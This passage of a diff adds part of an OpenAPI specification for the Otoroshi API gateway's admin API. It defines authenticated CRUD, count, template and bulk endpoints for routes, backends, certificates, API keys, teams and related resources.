+ } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind Route", + "$ref" : "#/components/schemas/proxy.otoroshi.io.Route" + } + } + } + } + } + }, + "put" : { + "tags" : [ "route", "proxy.otoroshi.io" ], + "summary" : "Updates a specific Route using its id", + "operationId" : "proxy.otoroshi.io.Route.updateById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.Route" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.Route" + } + } + } + } + }, + "patch" : { + "tags" : [ "route", "proxy.otoroshi.io" ], + "summary" : "Updates (using json-patch) a specific Route using its id", + "operationId" : "proxy.otoroshi.io.Route.pathById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.Route" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.Route" + } + } + } + } + }, + "delete" : { + "tags" : [ "route", "proxy.otoroshi.io" ], + "summary" : "Deletes a specific Route using its id", + "operationId" : "proxy.otoroshi.io.Route.deleteById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.Route" + } + } + } + } + } + } + }, + "/apis/proxy.otoroshi.io/v1/service-descriptors" : { + "get" : { + "tags" : [ "service-descriptor", "proxy.otoroshi.io" ], + "summary" : "Find all possible ServiceDescriptor entities", + "operationId" : "proxy.otoroshi.io.ServiceDescriptor.findAll", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.ServiceDescriptor" + } + } + } + } + } + } + }, + "post" : { + "tags" : [ "service-descriptor", "proxy.otoroshi.io" ], + "summary" : "Creates a ServiceDescriptor", + "operationId" : "proxy.otoroshi.io.ServiceDescriptor.create", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "201" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.ServiceDescriptor" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.ServiceDescriptor" + } + } + } + } + } + }, + "/apis/proxy.otoroshi.io/v1/backends/{id}" : { + "get" : { + "tags" : [ "backend", "proxy.otoroshi.io" ], + "summary" : "Find resource of kind Backend by its id", + "operationId" : "proxy.otoroshi.io.Backend.findById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind Backend", + "$ref" : "#/components/schemas/proxy.otoroshi.io.Backend" + } + } + } + } + } + }, + "put" : { + "tags" : [ "backend", "proxy.otoroshi.io" ], + "summary" : "Updates a specific Backend using its id", + "operationId" : "proxy.otoroshi.io.Backend.updateById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.Backend" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.Backend" + } + } + } + } + }, + "patch" : { + "tags" : [ "backend", "proxy.otoroshi.io" ], + "summary" : "Updates (using json-patch) a specific Backend using its id", + "operationId" : "proxy.otoroshi.io.Backend.pathById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.Backend" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.Backend" + } + } + } + } + }, + "delete" : { + "tags" : [ "backend", "proxy.otoroshi.io" ], + "summary" : "Deletes a specific Backend using its id", + "operationId" : "proxy.otoroshi.io.Backend.deleteById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.Backend" + } + } + } + } + } + } + }, + "/apis/security.otoroshi.io/v1/auth-module-users" : { + "get" : { + "tags" : [ "auth-module-user", "security.otoroshi.io" ], + "summary" : "Find all possible AuthModuleUser entities", + "operationId" : "security.otoroshi.io.AuthModuleUser.findAll", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/security.otoroshi.io.AuthModuleUser" + } + } + } + } + } + } + } + }, + "/api/pki/certs/_letencrypt" : { + "post" : { + "tags" : [ "pki" ], + "summary" : "Generates a certificates using Let's Encrypt or any ACME compatible system", + "operationId" : "otoroshi.controllers.adminapi.PkiController.genLetsEncryptCert", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/otoroshi.ssl.pki.models.GenCertResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/LetsEncryptCertBody" + } + } + } + } + } + }, + "/apis/proxy.otoroshi.io/v1/routes/_count" : { + "get" : { + "tags" : [ "route", "proxy.otoroshi.io" ], + "summary" : "Get number of entity of kind Route", + "operationId" : "proxy.otoroshi.io.Route.count", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resources count", + "type" : "object", + "properties" : { + "count" : { + "type" : "number", + "description" : "the number of resources" + } + } + } + } + } + } + } + } + }, + "/apis/security.otoroshi.io/v1/admin-sessions/_template" : { + "get" : { + "tags" : [ "admin-session", "security.otoroshi.io" ], + "summary" : "Return a template of a resource of kind AdminSession", + "operationId" : "security.otoroshi.io.AdminSession.template", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind AdminSession", + "$ref" : "#/components/schemas/security.otoroshi.io.AdminSession" + } + } + } + } + } + } + }, + "/apis/pki.otoroshi.io/v1/certificates/_count" : { + "get" : { + "tags" : [ "certificate", "pki.otoroshi.io" ], + "summary" : "Get number of entity of kind Certificate", + "operationId" : "pki.otoroshi.io.Certificate.count", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resources count", + "type" : "object", + "properties" : { + "count" : { + "type" : "number", + "description" : "the number of resources" + } + } + } + } + } + } + } + } + }, + "/apis/green-score.extensions.otoroshi.io/v1/green-scores/{id}" : { + "get" : { + "tags" : [ "green-score", "green-score.extensions.otoroshi.io" ], + "summary" : "Find resource of kind GreenScore by its id", + "operationId" : "green-score.extensions.otoroshi.io.GreenScore.findById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind GreenScore", + "$ref" : "#/components/schemas/green-score.extensions.otoroshi.io.GreenScore" + } + } + } + } + } + }, + "put" : { + "tags" : [ "green-score", "green-score.extensions.otoroshi.io" ], + "summary" : "Updates a specific GreenScore using its id", + "operationId" : "green-score.extensions.otoroshi.io.GreenScore.updateById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/green-score.extensions.otoroshi.io.GreenScore" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/green-score.extensions.otoroshi.io.GreenScore" + } + } + } + } + }, + "patch" : { + "tags" : [ "green-score", "green-score.extensions.otoroshi.io" ], + "summary" : "Updates (using json-patch) a specific GreenScore using its id", + "operationId" : "green-score.extensions.otoroshi.io.GreenScore.pathById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/green-score.extensions.otoroshi.io.GreenScore" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/green-score.extensions.otoroshi.io.GreenScore" + } + } + } + } + }, + "delete" : { + "tags" : [ "green-score", "green-score.extensions.otoroshi.io" ], + "summary" : "Deletes a specific GreenScore using its id", + "operationId" : "green-score.extensions.otoroshi.io.GreenScore.deleteById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/green-score.extensions.otoroshi.io.GreenScore" + } + } + } + } + } + } + }, + "/apis/apim.otoroshi.io/v1/apikeys/_count" : { + "get" : { + "tags" : [ "apikey", "apim.otoroshi.io" ], + "summary" : "Get number of entity of kind Apikey", + "operationId" : "apim.otoroshi.io.Apikey.count", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resources count", + "type" : "object", + "properties" : { + "count" : { + "type" : "number", + "description" : "the number of resources" + } + } + } + } + } + } + } + } + }, + "/api/cluster/relay" : { + "post" : { + "tags" : [ "cluster" ], + "summary" : "???", + "operationId" : "otoroshi.controllers.adminapi.ClusterController.relayRouting", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "unknown type", + "type" : "object" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "description" : "unknown type", + "type" : "object" + } + } + } + } + } + }, + "/apis/organize.otoroshi.io/v1/teams/_count" : { + "get" : { + "tags" : [ "team", "organize.otoroshi.io" ], + "summary" : "Get number of entity of kind Team", + "operationId" : "organize.otoroshi.io.Team.count", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resources count", + "type" : "object", + "properties" : { + "count" : { + "type" : "number", + "description" : "the number of resources" + } + } + } + } + } + } + } + } + }, + "/apis/proxy.otoroshi.io/v1/route-compositions/_bulk" : { + "post" : { + "tags" : [ "route-composition", "proxy.otoroshi.io" ], + "summary" : "Create multiple RouteComposition at the same time", + "operationId" : "proxy.otoroshi.io.RouteComposition.bulk_create", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.RouteComposition" + } + } + } + } + } + }, + "put" : { + "tags" : [ "route-composition", "proxy.otoroshi.io" ], + "summary" : "Update multiple RouteComposition at the same time", + "operationId" : "proxy.otoroshi.io.RouteComposition.bulk_update", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/proxy.otoroshi.io.RouteComposition" + } + } + } + } + } + }, + "patch" : { + "tags" : [ "route-composition", "proxy.otoroshi.io" ], + "summary" : "Update (using json-patch) multiple RouteComposition at the same time", + "operationId" : "proxy.otoroshi.io.RouteComposition.bulk_patch", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkPatchBody" + } + } + } + } + }, + "delete" : { + "tags" : [ "route-composition", "proxy.otoroshi.io" ], + "summary" : "Delete multiple RouteComposition at the same time", + "operationId" : "proxy.otoroshi.io.RouteComposition.bulk_delete", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + } + } + }, + "/apis/organize.otoroshi.io/v1/teams/_template" : { + "get" : { + "tags" : [ "team", "organize.otoroshi.io" ], + "summary" : "Return a template of a resource of kind Team", + "operationId" : "organize.otoroshi.io.Team.template", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api 